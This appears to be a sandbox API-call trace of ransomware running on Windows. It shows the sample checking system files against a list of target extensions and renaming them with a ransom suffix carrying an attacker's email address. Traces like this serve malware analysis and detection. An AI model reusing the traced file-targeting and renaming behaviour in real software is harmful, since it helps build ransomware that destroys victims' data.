	[0249.826] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0249.826] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.826] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.826] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.826] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.826] lstrlenW (lpString=".doc") returned 4
	[0249.826] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0249.826] lstrlenW (lpString=".docx") returned 5
	[0249.826] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0249.826] lstrlenW (lpString=".pdf") returned 4
	[0249.826] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0249.826] lstrlenW (lpString=".xls") returned 4
	[0249.826] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0249.826] lstrlenW (lpString=".xlsx") returned 5
	[0249.827] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0249.827] lstrlenW (lpString=".ppt") returned 4
	[0249.827] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0249.827] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.827] lstrlenW (lpString=".zip") returned 4
	[0249.827] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0249.827] lstrlenW (lpString=".rar") returned 4
	[0249.827] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0249.827] lstrlenW (lpString=".bz2") returned 4
	[0249.827] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0249.827] lstrlenW (lpString=".7z") returned 3
	[0249.827] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0249.827] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.827] lstrlenW (lpString=".dbf") returned 4
	[0249.827] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0249.827] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.827] lstrlenW (lpString=".1cd") returned 4
	[0249.827] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0249.827] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.827] lstrlenW (lpString=".jpg") returned 4
	[0249.827] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0249.827] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.827] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.827] lstrlenW (lpString=".doc") returned 4
	[0249.827] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0249.827] lstrlenW (lpString=".docx") returned 5
	[0249.827] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0249.827] lstrlenW (lpString=".pdf") returned 4
	[0249.827] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0249.827] lstrlenW (lpString=".xls") returned 4
	[0249.827] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0249.827] lstrlenW (lpString=".xlsx") returned 5
	[0249.828] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0249.828] lstrlenW (lpString=".ppt") returned 4
	[0249.828] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0249.828] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.828] lstrlenW (lpString=".zip") returned 4
	[0249.828] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0249.828] lstrlenW (lpString=".rar") returned 4
	[0249.828] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0249.828] lstrlenW (lpString=".bz2") returned 4
	[0249.828] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0249.828] lstrlenW (lpString=".7z") returned 3
	[0249.828] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0249.828] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.828] lstrlenW (lpString=".dbf") returned 4
	[0249.828] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0249.828] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.828] lstrlenW (lpString=".1cd") returned 4
	[0249.828] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0249.828] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0249.828] lstrlenW (lpString=".jpg") returned 4
	[0249.828] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0249.828] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.828] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0249.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c
	[0250.080] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=4096) returned 1
	[0250.080] CloseHandle (hObject=0x22c) returned 1
	[0250.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20
	[0250.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.081] lstrlenW (lpString=".doc") returned 4
	[0250.081] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0250.081] lstrlenW (lpString=".docx") returned 5
	[0250.081] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0250.081] lstrlenW (lpString=".pdf") returned 4
	[0250.081] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0250.081] lstrlenW (lpString=".xls") returned 4
	[0250.081] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0250.081] lstrlenW (lpString=".xlsx") returned 5
	[0250.081] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0250.081] lstrlenW (lpString=".ppt") returned 4
	[0250.081] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0250.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.081] lstrlenW (lpString=".zip") returned 4
	[0250.081] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0250.081] lstrlenW (lpString=".rar") returned 4
	[0250.081] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0250.081] lstrlenW (lpString=".bz2") returned 4
	[0250.081] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0250.081] lstrlenW (lpString=".7z") returned 3
	[0250.081] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0250.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.081] lstrlenW (lpString=".dbf") returned 4
	[0250.081] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0250.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.081] lstrlenW (lpString=".1cd") returned 4
	[0250.082] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0250.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.082] lstrlenW (lpString=".jpg") returned 4
	[0250.082] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0250.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.082] lstrlenW (lpString=".doc") returned 4
	[0250.082] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0250.082] lstrlenW (lpString=".docx") returned 5
	[0250.082] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0250.082] lstrlenW (lpString=".pdf") returned 4
	[0250.082] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0250.082] lstrlenW (lpString=".xls") returned 4
	[0250.082] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0250.082] lstrlenW (lpString=".xlsx") returned 5
	[0250.082] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0250.082] lstrlenW (lpString=".ppt") returned 4
	[0250.082] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0250.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.082] lstrlenW (lpString=".zip") returned 4
	[0250.082] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0250.082] lstrlenW (lpString=".rar") returned 4
	[0250.082] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0250.082] lstrlenW (lpString=".bz2") returned 4
	[0250.082] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0250.082] lstrlenW (lpString=".7z") returned 3
	[0250.082] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0250.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.082] lstrlenW (lpString=".dbf") returned 4
	[0250.082] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0250.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.082] lstrlenW (lpString=".1cd") returned 4
	[0250.083] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0250.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0250.083] lstrlenW (lpString=".jpg") returned 4
	[0250.083] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0250.083] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0250.083] lstrlenW (lpString="TabTip.exe") returned 10
	[0250.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0250.822] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=224256) returned 1
	[0250.822] CloseHandle (hObject=0x298) returned 1
	[0250.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20
	[0250.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.825] lstrlenW (lpString=".doc") returned 4
	[0250.825] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0250.825] lstrlenW (lpString=".docx") returned 5
	[0250.825] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0250.825] lstrlenW (lpString=".pdf") returned 4
	[0250.825] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0250.825] lstrlenW (lpString=".xls") returned 4
	[0250.825] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0250.825] lstrlenW (lpString=".xlsx") returned 5
	[0250.825] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0250.825] lstrlenW (lpString=".ppt") returned 4
	[0250.825] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0250.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.825] lstrlenW (lpString=".zip") returned 4
	[0250.825] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0250.825] lstrlenW (lpString=".rar") returned 4
	[0250.825] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0250.825] lstrlenW (lpString=".bz2") returned 4
	[0250.825] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0250.825] lstrlenW (lpString=".7z") returned 3
	[0250.825] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0250.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.825] lstrlenW (lpString=".dbf") returned 4
	[0250.825] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0250.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.825] lstrlenW (lpString=".1cd") returned 4
	[0250.826] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0250.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.826] lstrlenW (lpString=".jpg") returned 4
	[0250.826] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0250.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.826] lstrlenW (lpString=".doc") returned 4
	[0250.826] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0250.826] lstrlenW (lpString=".docx") returned 5
	[0250.826] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0250.826] lstrlenW (lpString=".pdf") returned 4
	[0250.826] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0250.826] lstrlenW (lpString=".xls") returned 4
	[0250.826] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0250.826] lstrlenW (lpString=".xlsx") returned 5
	[0250.826] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0250.826] lstrlenW (lpString=".ppt") returned 4
	[0250.826] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0250.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.826] lstrlenW (lpString=".zip") returned 4
	[0250.826] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0250.826] lstrlenW (lpString=".rar") returned 4
	[0250.826] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0250.826] lstrlenW (lpString=".bz2") returned 4
	[0250.826] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0250.826] lstrlenW (lpString=".7z") returned 3
	[0250.826] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0250.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.826] lstrlenW (lpString=".dbf") returned 4
	[0250.826] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0250.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.826] lstrlenW (lpString=".1cd") returned 4
	[0250.826] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0250.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned 61
	[0250.827] lstrlenW (lpString=".jpg") returned 4
	[0250.827] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0250.827] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0250.827] lstrlenW (lpString="ACEINTL.DLL") returned 11
	[0250.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0250.828] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=198056) returned 1
	[0250.828] CloseHandle (hObject=0x298) returned 1
	[0250.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20
	[0250.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.828] lstrlenW (lpString=".doc") returned 4
	[0250.828] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.828] lstrlenW (lpString=".docx") returned 5
	[0250.828] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0250.828] lstrlenW (lpString=".pdf") returned 4
	[0250.828] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.828] lstrlenW (lpString=".xls") returned 4
	[0250.828] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.828] lstrlenW (lpString=".xlsx") returned 5
	[0250.828] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0250.828] lstrlenW (lpString=".ppt") returned 4
	[0250.828] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.828] lstrlenW (lpString=".zip") returned 4
	[0250.828] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.828] lstrlenW (lpString=".rar") returned 4
	[0250.828] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.828] lstrlenW (lpString=".bz2") returned 4
	[0250.828] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.828] lstrlenW (lpString=".7z") returned 3
	[0250.829] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.829] lstrlenW (lpString=".dbf") returned 4
	[0250.829] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0250.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.829] lstrlenW (lpString=".1cd") returned 4
	[0250.829] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0250.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.829] lstrlenW (lpString=".jpg") returned 4
	[0250.829] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0250.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.829] lstrlenW (lpString=".doc") returned 4
	[0250.829] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.829] lstrlenW (lpString=".docx") returned 5
	[0250.829] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0250.829] lstrlenW (lpString=".pdf") returned 4
	[0250.829] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.829] lstrlenW (lpString=".xls") returned 4
	[0250.829] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.829] lstrlenW (lpString=".xlsx") returned 5
	[0250.829] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0250.829] lstrlenW (lpString=".ppt") returned 4
	[0250.829] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.829] lstrlenW (lpString=".zip") returned 4
	[0250.829] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.829] lstrlenW (lpString=".rar") returned 4
	[0250.829] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.829] lstrlenW (lpString=".bz2") returned 4
	[0250.829] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.829] lstrlenW (lpString=".7z") returned 3
	[0250.829] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.830] lstrlenW (lpString=".dbf") returned 4
	[0250.830] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0250.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.830] lstrlenW (lpString=".1cd") returned 4
	[0250.830] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0250.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72
	[0250.830] lstrlenW (lpString=".jpg") returned 4
	[0250.830] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0250.830] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0250.830] lstrlenW (lpString="ACEODBCI.DLL") returned 12
	[0250.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0250.832] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=52656) returned 1
	[0250.832] CloseHandle (hObject=0x298) returned 1
	[0250.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20
	[0250.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.832] lstrlenW (lpString=".doc") returned 4
	[0250.832] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0250.832] lstrlenW (lpString=".docx") returned 5
	[0250.832] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0250.832] lstrlenW (lpString=".pdf") returned 4
	[0250.832] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0250.832] lstrlenW (lpString=".xls") returned 4
	[0250.832] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0250.832] lstrlenW (lpString=".xlsx") returned 5
	[0250.833] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0250.833] lstrlenW (lpString=".ppt") returned 4
	[0250.833] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0250.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.833] lstrlenW (lpString=".zip") returned 4
	[0250.833] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0250.833] lstrlenW (lpString=".rar") returned 4
	[0250.833] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0250.833] lstrlenW (lpString=".bz2") returned 4
	[0250.833] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0250.833] lstrlenW (lpString=".7z") returned 3
	[0250.833] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0250.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73
	[0250.833] lstrlenW (lpString=".dbf") returned 4
